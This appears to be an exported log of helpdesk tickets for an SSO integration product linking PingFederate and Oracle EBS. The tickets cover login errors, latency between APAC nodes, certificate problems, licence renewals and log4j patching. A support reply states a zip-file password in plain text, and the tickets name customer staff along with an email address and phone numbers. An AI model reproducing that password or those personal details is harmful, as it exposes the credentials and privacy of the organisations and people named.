<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1058> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Can you please confirm that the issue was resolved in EBSqa. If the issue

has been resolved, kindly requesting you to close the ticket in the LikeMinds HelpDesk Portal. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1058> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Can you confirm if the EBSQA is working or not, so we can close the ticket. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1058> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1059

SUBJECT : Application unavailable

PROBLEM DESCRIPTION : Please join technical call. Our environment is unavailable. Errors in log:  
OIDC\_CODE\_NOT\_FOUND\_ERROR

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31  
seen\_articles: enterprise\_enabled: false referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Microsoft Teams meeting Join on your computer or mobile app Click here to join the meeting Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 114 595 116 9 Alternate VTC instructions Or call in (audio only) +1 561-440-3186,,644679436# United States, West Palm Beach Phone Conference ID: 644 679 436# Find a local number | Reset PIN Learn More

Hi Carla Chan, Our Support Rep has indicated that your ticket has been Resolved. If the issue has

been resolved, kindly requesting you to close the ticket in the LikeMinds HelpDesk Portal. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1059> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Ticket can be closed. I am unable to update the Status of ticket. Thanks

TICKET DISPLAY ID : 1060

SUBJECT : EIK 2.0 compatibility with PingFederate 10.3.2

PROBLEM DESCRIPTION : Hi, We are upgrading the current PingFederate from 9.3.11 to 10.3.2. Can you please let us know if the LikeMinds EIK 2.0 which is used in the current Activision PingFederate(9.3.11) is compatible with the latest version of 10.3.2. Thanks, Vijay.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Vijayendra Boda, The EIK 2.0 has been tested successfully with the PingFederate and Oracle EBS Application and DB versions as mentioned in the release notes: ?? Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1060> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for the update. Regards, Vijay.

TICKET DISPLAY ID : 1061

SUBJECT : EBS SSO Issues in APAC

PROBLEM DESCRIPTION : EBS requests are failing in APAC nodes.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2021-10-20 19:17:42 UTC

Hi Dipali Desai, From the EIK error logs that we received, we observed the below recurring exception that has been causing the intermittent SSO failures via the APAC EIK/Pingfederate nodes: Diagnosis: Seems like there is an underlying network latency between the EIK/Pingfederate node and Loadbalancer in the APAC AWS region, similar to what we faced in the APAC node of the DEV environment. As a result, the Oauth/OpenIdconnect flow between EIK and Pingfederate is aborted mid-way due to the connection timing out, causing the SSO failures. Troubleshooting Step: Currently the jwks\_connect\_timeout parameter in the EIK configuration file is set to 3000 in the Production environment. Change it to jwks\_connect\_timeout=6000 and restart the Pingfederate services for the modified timeout to take effect. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1061> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali, Could you please set up a call on Monday 25th at around 9 PM IST? In order to expedite the troubleshooting process, there are a few points to discuss and clarify aside from the resolution we have provided above. ? And also could you please inform us of the date on which you are planning to make the above changes in the APAC prod environment? Thanks Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1061> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Dipali , In order to provide a solution for the issue, we will need to have a better understanding of any infrastructure differences Between the US-North and APAC regions where the EIK/Pingfederate nodes are present in Prod. Could we get more details on the AWS infrastructure and Imperva networking setup you have in place (Infrastructure diagrams etc) to get a better understanding of the root cause of the intermittent SSO failures we saw in the APAC region? Since the issue is intermittent during peak times, we need to consider the resource utilization of the APAC nodes as well. This will help us provide suitable recommendations to resolve this issue. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1061> Regards, EIK Support Team

<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Request for a meeting/discussion with Lumentum's Infra Team was made twice. No response yet.

resource monitoring during peak traffic requested for PF/EIK nodes.

Troubleshooting steps planned as advised by Vikram and Vignesh: 1. Modify the EIK configurations to use the URL of it's ELB in the same aws region for jwks validation and token endpoint. The above was communicated with lumentum. Next steps: 1. Lumentum to plan and communicate Downtime to test the troubleshooting steps in the DEV environment.(TBC) 2. Upon testing and validating for a specific testing window, we can proceed with replicating the fix on the PROD environment.

Toubleshooting steps as discussed with Vikram and Vignesh: 1. Modify the EIK configuration to use the URL of the ELB in the same aws region for jwks validation and token endpoint. The above was communicated to Lumentum. Next steps: 1. Lumentum to plan and confirm a date for down-time to test the above fix in their DEV environment. 2. Upon successful initial testing, a time frame for user testing in DEV TBC by lumentum. We can then proceed with replicating the fix in the PROD

environment upon confirmation on a date by Lumentum.

SSO Architecture Diagram was provided by Lumentum

user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62 seen\_articles: enterprise\_enabled: false  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Lumentum InfoSec, Thank you. We'll analyze them and back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1072> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, ?We analyzed the logs, the issue is SSL handshake error with PingFederate JWKS endpoint. In the SSL certificate, please include an subject alternative name matching the DNS name of the load balancer. After this, you have to update the SSL certificate in the Trusted CA and Java cacerts. Please let us know if you have any questions/concerns. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1072> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Error encountered after changing the ELB: 2022-01-05T12:36:55.858-0800 ERROR Unable to process the id token com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: No subject alternative DNS name matching sso-dev-1711690106.ap-southeast-1.elb.amazonaws.com found. To Resolve this issue, we requested for an SSL cert to be created for the

sso-dev-1711690106.ap-southeast-1.elb.amazonaws.com URL on January 6th 2022

Merged from ticket 1072 ERROR logs were collected after changing the PingFed JWKS and Access token URL to the ELB URL. (The SSL cert for the ELB was not available at this point of testing) We saw the below error: 2022-01-05T12:36:55.858-0800 ERROR Unable to process the id token com.nimbusds.jose.RemoteKeySourceException: Couldn't retrieve remote JWK set: No subject alternative DNS name matching sso-dev-1711690106.ap-southeast-1.elb.amazonaws.com found.

Lumentum is looking into removing the APAC node and provisioning a new node in the US region closer to the EBS node due to an increase in users in the US region. A meeting with JIM- the VP of infrastructure to be held with our senior team

On 23/04/2022 The SSL cert for the ELB URL was ready and we got on a troubleshooting session: Tested the suggested change of pointing the EIK to the AWS ELB in the APAC region to routes requests within the same region instead of using Imperva. This change was applied only for the Pingfederate JWKS and Acces token endpoint. The SSL cert for the ELB was added to the trusted java keystore on the EIK/Pingfederate node used for testing. URL of the ELB was added to the Virtual hosts on Pingfederate. The SSL cert was added to pingfederate's trusted CAs as well. SSO did not work and we saw the "OIDC Token provider not found" error in the log files. Troubleshooting was not successful and we reverted the changes we made.

The requested document with the proposed troubleshooting updates that were sent to Lumentum on February 10th 2022 Update: Troubleshooting the network latency issue by configuring the EIK to use the ELB URL for Pingfederates JWKS and Acces token endpoint will substantially delay the resolution of the issue. Should confirm if we can go with the approach of setting up another EIK/PingFederate node in the US region to eliminate the network latency.

TICKET DISPLAY ID : 1062

SUBJECT : Unable to access EBS after upgrading to Ping 10.3.1

PROBLEM DESCRIPTION : HI support team, We are unable to access EBS applications after upgrading Ping from 10.0.0 to 10.3.1 Error unexpected system error - Please contact your administrator for assistance and provide the reference number below to help locate and correct the problem. Reference#4419-2597

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.30

seen\_articles: enterprise\_enabled: false referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Lumentum InfoSec, Could you please send the Logs and network traces. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1062> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Lumentum InfoSec, Could we confirm that this issue has been resolved in your DEV environment? ?Thanks Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1062> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1063



SUBJECT : EIK 2.0 compatibility with Adopt Open JDK

PROBLEM DESCRIPTION : Hi, In our current PingFed environment at Activision, We are looking to upgrade the JAVA and move to Adopt OPEN JDK. Can you please confirm if the current EIK 2.0 deployed supports the same? Please let us know if there are any compatibility issues. Thanks, Vijay.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Vijayendra Boda, Can you please specify which version of Adopt Open JDK and JVM you are upgrading. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1063>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vijayendra Boda, This is a gentle remainder, can you please specify which version of Adopt Open JDK and JVM you are upgrading. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1063>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi, We would be going to implement the Adopt open JDK 11 as per the PingFed support portal. Please refer the link below.  
<https://support.pingidentity.com/s/article/PingIdentity-Java-Support-Policy> Thanks, Vijay.

Hi Vijayendra Boda, We are testing on it and will let you know once it's done. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1063>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit

the ticket link above to view or manage your tickets.-->

Hi Vijayendra Boda, EIK 2.0 support with Adopt OPEN JDK 11. We carried out and successfully completed the EIK 2.0 test with Adopt OPEN JDK 11. Ticket URL - <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1063> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1064

SUBJECT : Google Drive Integration Test

PROBLEM DESCRIPTION : Testing the GDrive integration with attachment

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2021-12-22 15:36:40 UTC

test attachment

TICKET DISPLAY ID : 1065

SUBJECT : New user access to portal

PROBLEM DESCRIPTION : Please grant user access to LikeMinds support portal Company: Office Depot Name: Rambabu Savile Email: [Rambabu.Savile@officedepot.com](mailto:Rambabu.Savile@officedepot.com) Thank you

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62  
seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets>

Hi Carla Chan, The account has been created. A link for account activation and password reset will be sent via email shortly Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1065>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1066

SUBJECT : log4j vulnerability

PROBLEM DESCRIPTION : There is an open vulnerability for log4j. For CVE-2021-44228, we updated Setting formatMsgNoLookups to true. Please advise on how we can remediate the log4j issues in EIK for CVE-2021-45046 and CVE-2021-45105 Thank you

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62  
seen\_articles: "[\"48001204827\", \"48001204829\"]" enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/solutions/articles/48001204829-license-files-valid-up-to-31st-dec-2022->

Hi Carla Chan, An EIK build that uses the updated Log4j Version to address CVE-2021-45046 and CVE-2021-45105 is currently being tested. Release updates and the deployment Binary for the same will be released in due course. We'll keep you posted on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1066> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello, What is the resolution for this vulnerability? Please advise. Thank you.

TICKET DISPLAY ID : 1067

SUBJECT : Issue after updating EIK license

PROBLEM DESCRIPTION : After updating EIK license, we are receiving an error. Please assist, as we only have 2 days left until the old license expires. We updated the license file on the server and restarted the managed server. Are there other steps we need to take? Thank you.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62  
seen\_articles: "[\"48001204829\"]" enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/solutions/articles/48001204829-license-files-valid-up-to-31st-dec-2022->

Hi Carla Chan, We have validated the license file from our end. Please share a meeting invite to go through this We can jump in a call and troubleshoot this issue on an urgent basis. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1067> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please send us the EIK logs in the meanwhile. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1067> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

License file has been updated and we are able to login with no issues. Ticket can be close. Thank you.

TICKET DISPLAY ID : 1068

SUBJECT : LMConnect Deployment Package

PROBLEM DESCRIPTION : Test Email from The Freshdesk portal with the attached GDrive link to the LMConnect Package

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-01-03 13:58:15 UTC

TICKET DISPLAY ID : 1069

SUBJECT : Test Ticket - Google Drive integration

PROBLEM DESCRIPTION : Test Gdrive attachment.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-01-05 14:31:40 UTC

TICKET DISPLAY ID : 1070

SUBJECT : Welcome to LikeMinds Consulting

PROBLEM DESCRIPTION : Hi Atmos Energy, Thank you for Signing up with us. You've taken an important step in securing your Applications with the Power of Identity and Single Sign-On. We're thrilled to be able to support you through your growth moving forward. Please find below, the Link to the Deployment Package and Administration Guide for LMConnect 1.1. Feel free to open a ticket for queries and assistance via the Customer Support Portal provided to you. You can also contact us at +1 732-374-9158. Regards, The LikeMinds Team

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-01-05 15:31:16 UTC

TICKET DISPLAY ID : 1071

SUBJECT : Welcome to LikeMinds Consulting

PROBLEM DESCRIPTION : Hi Atmos Energy, Thank you for Signing up with us. You've taken an important step in securing your Applications with the Power of Identity and Single Sign-On. We're thrilled to be able to support you through your growth moving forward. Please find below, the Link to the Deployment Package for LMConnect 1.1. Refer to the LMConnect- Administration Guide which will take you through the deployment process. The license file can be found via the Customer Support Portal provided to you. Feel free to open a ticket for queries and assistance via the Support Portal. You can also contact us at +1 732-374-9158. Regards, The LikeMinds Team

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-01-05 16:04:05 UTC

TICKET DISPLAY ID : 1072

SUBJECT : EBS EIK issue - APAC

PROBLEM DESCRIPTION : Attached are the logs that you have requested.

SOLUTION CONVERSATION : This ticket is closed and merged into ticket 1061

TICKET DISPLAY ID : 1073

SUBJECT : ATVI | Prod | Issue

PROBLEM DESCRIPTION : 2022-03-19 17:13:41,508 ERROR  
[com.likeminds.ebsauth.controller.AuthClientController] Code value not found 2022-03-19  
17:13:41,508 ERROR [SystemErr] com.likeminds.ebsauth.exception.AuthException: Code value not  
found 2022-03-19 17:13:41,508 ERROR [SystemErr] at  
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:61)  
2022-03-19 17:13:41,508 ERROR [SystemErr] at  
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) 2022-03-19 17:13:41,508 ERROR  
[SystemErr] at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) 2022-03-19

17:13:41,508 ERROR [SystemErr] at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) 2022-03-19 17:13:41,508 ERROR [SystemErr] at java.lang.reflect.Method.invoke(Unknown Source) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:106) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:888) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:793) 2022-03-19 17:13:41,508 ERROR [SystemErr] at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home

Please find attached the logs from the PROD.

Server log zip since yesterday attached. Issue noticed from today after noon.

context.HttpRequest=/sp/ACS.saml2 context.HttpRequest=/as/token.oauth2 I see the difference in the server log file authentication .. second one from server log few days back and 1st one is 1 week old server log

Hi Tuan, The browser n/w trace for the login request is attached. Thanks, Vijay.

Login request trace.

Attached the server log

TICKET DISPLAY ID : 1074

SUBJECT : Error in EIK logs. Unable to access EBS

PROBLEM DESCRIPTION : Please schedule a call to help trouble shoot this issue. Unable to access EBS environment after authenticating with EIK. Receiving 502 error on the EBS page.

2022-04-22T17:46:18.016-0400	ERROR	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.exception.EikExceptionHandlerResolver]	Request	Origination 10.119.1.19
2022-04-22T17:46:27.900-0400	ERROR	[https-jsse-nio-8443-exec-4]
[com.likeminds.ebsauth.exception.EikExceptionHandlerResolver]	No handler found for GET /EBSAuth/	



org.springframework.web.servlet.NoHandlerFoundException: No handler found for GET /EBSAuth/  
at  
org.springframework.web.servlet.DispatcherServlet.noHandlerFound(DispatcherServlet.java:1282)  
[spring-webmvc-5.3.14.jar:5.3.14] at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1045)  
[spring-webmvc-5.3.14.jar:5.3.14]

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  
Edg/100.0.1185.44 seen\_articles: enterprise\_enabled: false referrer:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url:  
https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Please disregard the error - No handler found for GET /EBSAuth/. However, we are receiving a 502 error on EBS after authenticating against EIK. I've attached the HAR file

Hi Carla Chan, Please join this meeting bridge [meet.google.com/mxu-cjpm-bwv](https://meet.google.com/mxu-cjpm-bwv) Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1074> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please provide your best time for the call. We'll schedule a call accordingly. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1074> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

130PM EST

Hi Carla Chan, Please join this meeting bridge click this link: <https://meet.google.com/rdp-jtej-jhc>  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1074> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

The user's browser cannot reach the EBS landing page. 502 error returned. The 502 error is returned upon initially hitting the EBS Application URL as well before the SSO flow kicks in. Office depot's networking team is troubleshooting this on the load balancer level. They will reach out to us upon troubleshooting and testing.

TICKET DISPLAY ID : 1075

SUBJECT : Ping Fed certificate expiring, error on EIK

PROBLEM DESCRIPTION : Hello, We are renewing the Ping Federate certificates soon; however, after uploading the new certificate to EIK servers, it's throwing an error. Is there a process that we need to follow for this update? Thank you, Carla Chan

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47

seen_articles:	enterprise_enabled:	false	referrer:
<a href="https://likemindsconsultinghelp.freshdesk.com/support/tickets">https://likemindsconsultinghelp.freshdesk.com/support/tickets</a>			portal_url:
<a href="https://likemindsconsultinghelp.freshdesk.com/support/tickets/new">https://likemindsconsultinghelp.freshdesk.com/support/tickets/new</a>			

Hi Carla Chan, Can you please send a log file and meeting invite to resolve this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1075> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1076

SUBJECT : EIK-upgrade to 2.2.0.12

PROBLEM DESCRIPTION : Created to download the attachments. It will be closed once the upgrade is done

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2022-06-28 06:39:48 UTC

Hi Harilal Lambadi, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Harilal Lambadi, Password:enbd1234 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Harilal Lambadi, Updated datasource jar file attached herewith. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Tuan, Thanks for your support on the call to upgrade and resolve the EBSAuth error. Unfortunately we could not manage to resolve the issue, as requested by you I am attaching the below logs to debug the issue. Ping server.log eik-debug.log eik-error.log Please let me know, if you

need any further inputs from my end to debug the same. Thanks, Harilal.

Hi Harilal Lambadi, Attached herewith, is the updated production license file for EIK. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please have the License file downloaded and ready prior to our troubleshooting session today. Thanks! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Tuan, Thanks for your time over the call, but unfortunately we didn't manage to resolve the issue. As you requested, please find the attached logs for further more investigation. pf-server.log eik-debug.log eik-error.log browser-trace.har

Thank you Harilal, We're actively working to provide a resolution and will update you once we have the troubleshooting steps required to be carried out in your environment. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Tuan, Greetings for the day! As requested, please find the attached EIKAuth.config file which we are using in UAT. Thanks, Harilal

Hi Harilal, Good day to you! Thanks for sending the file through. Please find attached, an amended

version of the config file. Password for the zip file: enbd1234 Could you please replace the existing config file in the UAT node with this and test SSO upon restarting the PingFed services? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1076> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1077

SUBJECT : main ERROR Unable to create Lookup for event java.lang.ClassCastException: class org.apache.logging.log4j.core.lookup.EventLookup

PROBLEM DESCRIPTION : Currently we have 2 pingfederate apps servers. Few users not able to login into EBS applications. We noticed below error in server.log file. Server.log file uploaded from navltpngap02.

```
2022-06-29 12:12:11,211 INFO [org.eclipse.jetty.annotations.AnnotationConfiguration] Scanning elapsed time=185ms
2022-06-29 12:12:11,251 INFO [org.eclipse.jetty.server.handler.ContextHandler._EBSAuth1] 1 Spring
WebApplicationInitializers detected on classpath 2022-06-29 12:12:11,287 INFO [org.eclipse.jetty.server.handler.ContextHandler._EBSAuth1]
Initializing Spring root
WebApplicationContext 2022-06-29 12:12:11,287 INFO [org.springframework.web.context.ContextLoader] Root WebApplicationContext: initialization started
2022-06-29 12:12:11,705 INFO [SystemOut] 2022-06-29 12:12:11,704 main ERROR Unable to
create Lookup for event java.lang.ClassCastException: class
org.apache.logging.log4j.core.lookup.EventLookup at java.lang.Class.asSubclass(Unknown Source)
at org.apache.logging.log4j.core.lookup.Interpolator.<init>(Interpolator.java:79) at
org.apache.logging.log4j.core.config.AbstractConfiguration.doConfigure(AbstractConfiguration.java:
540) at
org.apache.logging.log4j.core.config.AbstractConfiguration.initialize(AbstractConfiguration.java:241)
```

```

at org.apache.logging.log4j.core.config.AbstractConfiguration.start(AbstractConfiguration.java:288)
at org.apache.logging.log4j.core.LoggerContext.setConfiguration(LoggerContext.java:618) at
org.apache.logging.log4j.core.LoggerContext.reconfigure(LoggerContext.java:691) at
org.apache.logging.log4j.core.LoggerContext.reconfigure(LoggerContext.java:708) at
org.apache.logging.log4j.core.LoggerContext.start(LoggerContext.java:263) at
org.apache.logging.log4j.core.impl.Log4jContextFactory.getContext(Log4jContextFactory.java:153)
at org.apache.logging.log4j.core.impl.Log4jContextFactory.getContext(Log4jContextFactory.java:45)
at org.apache.logging.log4j.LogManager.getContext(LogManager.java:194) at
org.apache.logging.log4j.LogManager.getLogger(LogManager.java:602) at
com.likeminds.ebsauth.controller.BaseController.<clinit>(BaseController.java:31) at
sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at
sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source) at
sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source) at
java.lang.reflect.Constructor.newInstance(Unknown Source) at
org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:200) at
org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:87) at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:1312)

```

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://likemindsconsultinghelp.freshdesk.com/support/tickets portal\_url: https://likemindsconsultinghelp.freshdesk.com/support/tickets/new

Attached Srever.log. Please Give me a call on 1-(215)-876-7319 or send mail for communication.

Attached user error screenshot -

Hi Activision DBA, Can you please send a network trace and meeting invite to resolve this issue.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1077> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Above Issue with SQL Connection error : the DBCX file name is doesn't match. Issue has been fixed and resolved.

TICKET DISPLAY ID : 1078

SUBJECT : DAISTG - SSO not working

